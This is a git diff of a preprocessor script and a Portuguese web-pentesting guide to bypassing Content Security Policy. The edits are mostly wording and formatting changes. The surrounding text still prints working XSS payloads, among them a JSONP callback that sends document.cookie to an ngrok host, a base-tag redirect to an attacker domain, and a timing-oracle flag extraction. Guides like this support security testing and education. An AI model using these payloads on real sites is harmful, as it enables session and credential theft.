diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index af5949449..5d070c39f 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -78,6 +78,9 @@ def ref(matchobj):
                 sys.exit(1)
 
 
+    if href.endswith("/README.md"):
+        href = href.replace("/README.md", "/index.html")
+
     template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
 
     # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index be5fa6d20..bedef8481 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -64,7 +64,7 @@ object-src 'none';
 
 - `*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
 - `'self'`: Permite carregamento do mesmo domínio.
-- `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
+- `'data'`: Permite que recursos sejam carregados via esquema de dados (por exemplo, imagens codificadas em Base64).
 - `'none'`: Bloqueia o carregamento de qualquer fonte.
 - `'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
 - `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
@@ -93,7 +93,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `'host'`: Especifica um host específico, como `example.com`.
 - `https:`: Restringe URLs àquelas que usam HTTPS.
 - `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
-- `filesystem:`: Permite que recursos sejam
+- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
+- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
+- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
+- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
+- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
+
+## Regras CSP Inseguras
+
+### 'unsafe-inline'
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
@@ -147,11 +155,11 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
 
-Carga útil funcional:
+Payload funcional:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie tipos determinados de arquivos**.
+No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie tipos determinados de arquivos**.
 
 Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
 
@@ -159,7 +167,7 @@ A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir en
 
 ### Form-action
 
-Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
+Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
 
 ### Endpoints de Terceiros + ('unsafe-eval')
 
@@ -266,7 +274,7 @@ Abusando \*.google.com/script.google.com
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
+Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -285,15 +293,15 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Re
 Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
 
 | Entidade            | Domínio Permitido                           | Capacidades  |
-| ------------------- | ------------------------------------------ | ------------ |
-| Facebook            | www.facebook.com, \*.facebook.com          | Exfil        |
-| Hotjar              | \*.hotjar.com, ask.hotjar.io              | Exfil        |
-| Jsdelivr            | \*.jsdelivr.com, cdn.jsdelivr.net          | Exec         |
-| Amazon CloudFront   | \*.cloudfront.net                          | Exfil, Exec  |
-| Amazon AWS          | \*.amazonaws.com                           | Exfil, Exec  |
+| ------------------- | ------------------------------------------- | ------------ |
+| Facebook            | www.facebook.com, \*.facebook.com           | Exfil        |
+| Hotjar              | \*.hotjar.com, ask.hotjar.io               | Exfil        |
+| Jsdelivr            | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
+| Amazon CloudFront   | \*.cloudfront.net                           | Exfil, Exec  |
+| Amazon AWS          | \*.amazonaws.com                            | Exfil, Exec  |
 | Azure Websites      | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku   | \*.herokuapp.com                           | Exfil, Exec  |
-| Google Firebase     | \*.firebaseapp.com                         | Exfil, Exec  |
+| Salesforce Heroku   | \*.herokuapp.com                            | Exfil, Exec  |
+| Google Firebase     | \*.firebaseapp.com                          | Exfil, Exec  |
 
 Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
 
@@ -335,7 +343,7 @@ O navegador, em última análise, carregará `https://example.com/scripts/angula
 
 Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP.
 
-∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
+∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`.
 
 Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
 
@@ -353,7 +361,7 @@ Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 
 Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html).
 
-Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag** **base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
+Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ela **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
 Se a página vulnerável for carregada com **httpS**, use uma URL httpS na base.
 ```html
 <base href="https://www.attacker.com/" />
@@ -375,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Uma política CSP que permite listas de domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Payloads funcionais:
 ```html
@@ -389,7 +397,7 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
 
 ### Bypass via Redirecionamento
 
-O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
+O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
 
 No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
 
@@ -459,7 +467,7 @@ Se um **parâmetro** enviado por você está sendo **colado dentro** da **declar
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Porque esta diretiva irá **sobrescrever as diretivas existentes de script-src**.\
+Porque esta diretiva irá **substituir as diretivas existentes de script-src**.\
 Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
@@ -472,7 +480,7 @@ Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 Note a falta da diretiva `'unsafe-inline'`\
 Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar**, você pode extrair as informações que precisa.
 
-Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
+Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -536,11 +544,11 @@ run()
 
 Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
 
-Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
 ### Bypass de CSP restringindo o CSP
 
-Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **prototype pollution** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
+Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.
 
 Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
 ```html
@@ -558,7 +566,7 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltração com Content-Security-Policy-Report-Only
+### JS exfiltration with Content-Security-Policy-Report-Only
 
 Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
 
@@ -577,7 +585,7 @@ document.querySelector("DIV").innerHTML =
 
 É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um possível vazamento de informações sensíveis devido a comportamentos indefinidos.
 
-Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
+Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na modificação do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
@@ -596,13 +604,13 @@ De acordo com a [**última técnica comentada neste vídeo**](https://www.youtub
 ### Sobrecarga do buffer de resposta do PHP
 
 O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
-Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
+Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
 
 Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
 ### Reescrever Página de Erro
 
-De [**este writeup**](https://blog.ssrf.kr/69), parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
+De [**este writeup**](https://blog.ssrf.kr/69), parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -694,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
 ### CredentialsContainer
 
-O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele só funciona em um contexto seguro (HTTPS) ou no localhost.
+O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Funciona apenas em um contexto seguro (HTTPS) ou no localhost.
 ```javascript
 navigator.credentials.store(
 new FederatedCredential({